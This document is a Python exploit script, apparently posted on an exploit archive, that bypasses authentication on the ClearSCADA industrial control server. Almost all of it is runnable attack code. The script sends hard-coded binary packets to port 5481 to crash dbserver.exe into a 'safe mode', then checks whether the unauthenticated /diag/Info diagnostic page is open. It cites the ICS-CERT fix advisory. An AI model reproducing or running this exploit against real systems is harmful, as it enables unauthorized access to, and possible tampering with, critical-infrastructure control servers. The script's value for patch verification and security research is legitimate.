ClearSCADA – Remote Authentication Bypass
#!/usr/bin/python # cs-auby.py # ClearSCADA Remote Authentication Bypass Exploit # # Jeremy Brown # [jbrown3264/gmail] # # Oct 2010 (released Jan 2015) # # There is an authentication bypass vulnerability in ClearSCADA that can be # exploited by triggering an exception in dbserver.exe and taking advantage # of the way the program handles it. # # When an exception in occurs, ClearSCADA enters "Safe Mode". This exposes # it's diagnostic functions to remote users without requiring a valid login # as it would normally. A remote attacker could view senstive information # and possibly modify functions of the server running on the affected host. # # This code triggers an exception in dbserver.exe and checks to see if you # can then access the diagnostic page without authentication. # # Tested on ClearSCADA 2010R1 running on Windows # # Fix information: http://ics-cert.us-cert.gov/advisories/ICSA-11-173-01 # import sys import socket import httplib import urllib from time import sleep pkt_1=( "\xfb\x0e\x45\x06\x0e\x00\x00\x00\x18\x00\x00\x00" "\x49\x00\x50\x00\x20\x00\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00" "\x2e\x00\x30\x00\x2e\x00\x31\x00\x2c\x00\x20\x00\x53\x00\x65\x00" "\x73\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x20\x00\x30\x00\x00\x00" "\x08\x00\x00\x00" ) pkt_2=( "\x00\x00\x00\x00" "\x26\x00\x00\x00" "\x08\x00\x00\x00\x0f\x00\x00\x00\x43\x00\x72\x00\x79\x00\x73\x00" "\x74\x00\x61\x00\x6c\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00" "\x74\x00\x73\x00\x00\x00" ) pkt_3=( # "Exception Occured" "\x00\x00\x00\x00\xd7\x01\x00\x00\x34\x00\x00\x00\x0d\x00\x00\x00" "\x09\x00\x00\x00\x43\x00\x50\x00\x72\x00\x6f\x00\x66\x00\x69\x00" "\x6c\x00\x65\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00" "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x46\x00\x6c\x00\x6f\x00" "\x61\x00\x74\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00" "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x55\x00\x4c\x00\x6f\x00" "\x6e\x00\x67\x00\x00\x00\x0d\x00\x00\x00\x43\x00\x50\x00\x72\x00" "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x4c\x00\x6f\x00\x6e\x00" "\x67\x00\x00\x00\x10\x00\x00\x00\x43\x00\x41\x00\x64\x00\xBB\x00" # last w0rd "\x00\x42\x00\x49\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65" "\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41" "\x00\x64\x00\x76\x00\x42\x00\x59\x00\x54\x00\x45\x00\x56\x00\x61" "\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11" "\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x57\x00\x4f\x00\x52" "\x00\x44\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61" "\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76" "\x00\x44\x00\x49\x00\x4e\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75" "\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x12\x00\x00\x00\x43" "\x00\x41\x00\x64\x00\x76\x00\x55\x00\x44\x00\x49\x00\x4e\x00\x54" "\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70" "\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x52" "\x00\x45\x00\x41\x00\x4c\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65" "\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41" "\x00\x64\x00\x76\x00\x44\x00\x4f\x00\x55\x00\x42\x00\x4c\x00\x45" "\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70" "\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x53" "\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x56\x00\x61\x00\x6c" "\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x0f\x00\x00" "\x00\x43\x00\x43\x00\x72\x00\x79\x00\x73\x00\x74\x00\x61\x00\x6c" "\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00\x74\x00\x00\x00\x00" ) port=5481 s_port=443 def do_ssl(target,port): try: conn = httplib.HTTPSConnection(target,port) conn._http_vsn = 10 conn._http_vsn_str = "HTTP/1.0" conn.request("GET","/diag/Info") resp = conn.getresponse() conn.close() except Exception, error: print("Error: %s" % error) return None return resp def main(): if len(sys.argv)!=2: print("Usage: %s <target>" % sys.argv[0]) sys.exit(0) target=sys.argv[1] cs=target,port print "Checking server status..." resp = do_ssl(target,s_port) if(resp == None): return if(resp.status==301): print "Server status is normal.\n" elif(resp.status==200): print "Server is already in safe mode." sys.exit(1) elif((resp.status!=301)|(resp.status!=200)): print("Server returned %d %s, server state unknown.\nContinuing anyways..\n" % (resp.status,resp.reason)) print("Sending packets to trigger exception...\n") try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(cs) sock.send(pkt_1) resp_1 = sock.recv(32) sock.send(pkt_2) resp_2 = sock.recv(32) sock.send(pkt_3) resp_3 = sock.recv(32) sock.close() except Exception, error: print("Error: %s" % error) return None print("Finished, checking server status again...") sleep(1) resp = do_ssl(target,s_port) if(resp == None): return if(resp.status==301): print("Server status is still normal, maybe it's patched..\n") elif(resp.status==200): print("Server entered \"safe\" mode :)\n") print("Surf on over to https://%s:443/diag/Info to explore" % target) elif((resp.status!=301)|(resp.status!=200)): print("Server returned %d %s, server state unknown." % (resp.status,resp.reason)) if __name__ == "__main__": main() |